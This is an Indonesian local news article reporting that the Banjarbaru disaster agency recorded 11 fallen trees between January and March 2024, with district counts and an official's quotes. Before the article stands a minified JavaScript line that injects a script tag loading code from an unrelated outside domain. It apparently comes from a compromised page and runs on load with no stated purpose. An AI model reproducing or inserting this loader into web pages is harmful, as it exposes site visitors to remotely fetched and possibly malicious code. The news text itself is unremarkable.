(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Periode Januari-Maret, BPBD Banjarbaru Mencatat 11 Pohon Tumbang

KANALKALIMANTAN.COM, BANJARBARU – Sepanjang periode Januari hingga Maret 2024, jumlah pohon tumbang di Kota Banjarbaru ada sebanyak 11 pohon.

Kabid Kedaruratan dan Logistik BPBD Kota Banjarbaru, Ma’aruf Rizani mengatakan, peristiwa tersebut terjadi di empat kecamatan di Kota Banjarbaru.

“Kita mencatat banyaknya pohon tumbang di Banjarbaru dari Januari hingga Maret terakhir kemarin ada sebanyak 11,” ungkap Kabid Kedaruratan dan Logistik BPBD Kota Banjarbaru, Ma’aruf Rizani, Kamis (21/3/2024).

Kabid Kedaruratan dan Logistik BPBD Kota Banjarbaru, Ma’aruf Rizani. Foto: wanda

Ayub -sapaan akrabnya- merinci untuk pohon tumbang paling banyak terjadi di Kecamatan Landasan Ulin sebanyak 5 titik.

“Yang kedua ada Kecamatan Banjarbaru Utara ada 3 titik, Banjarbaru Selatan 2 dan Liang Anggang 1,” sebutnya.

Peristiwa pohon tumbang terakhir, BPBD Kota Banjarbaru mencatat menimpa jaringan listrik di depan SDN 1 Guntung Manggis atau samping Mako Brimob Polda Kalsel Jalan A Yani KM 31 Banjarbaru, pada Rabu (20/3/2024) sore.

Menurutnya, pohon tersebut tumbang hanya memakan ke arah sisi kiri jalan, sehingga tidak sampai melumpuhkan arus lalu lintas.

Kendati demikian BPBD Banjarbaru berkoordinasi dengan instansi terkait, agar dahan pohon yang dikhawatirkan patah dan menimpa pengguna jalan dapat cepat dipangkas.

“Rata-rata pohon yang tumbang hampir berada di sisi jalan, termasuk peristiwa di depan SD kemarin karena dikhawatirkan mengganggu arus lalu lintas tim kami dibantu oleh Dinas LH langsung mengeksekusi pohon tumbang tersebut,” papar dia.

Ayub menjelaskan, dampak hujan sedang hingga lebat disertai angin kencang yang kerap melanda Kota Banjarbaru akhir-akhir ini menjadi salah satu faktor pohon itu tumbang.

“Kita menganggap pohon tumbang tersebut rata-rata terjadi karena faktor alam, oleh sebab itu menjadi tanggung jawab kami,” sebutnya.

Oleh sebab itu sebanyak dua Tim Reaksi Cepat (TRC) BPBD Banjarbaru selalu standby 1×24 jam mengantisipasi kejadian serupa.

Di sisi lain, kata dia, relawan bencana alam juga selalu dilibatkan untuk memantau saat terjadi potensi bencana alam.

“Selama musim penghujan ini jika ada bencana kita langsung bergerak ke lokasi kejadian dengan menurutkan tim piket TRC, jika bencana besar kita langsung turun full tim,” tuntas dia. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie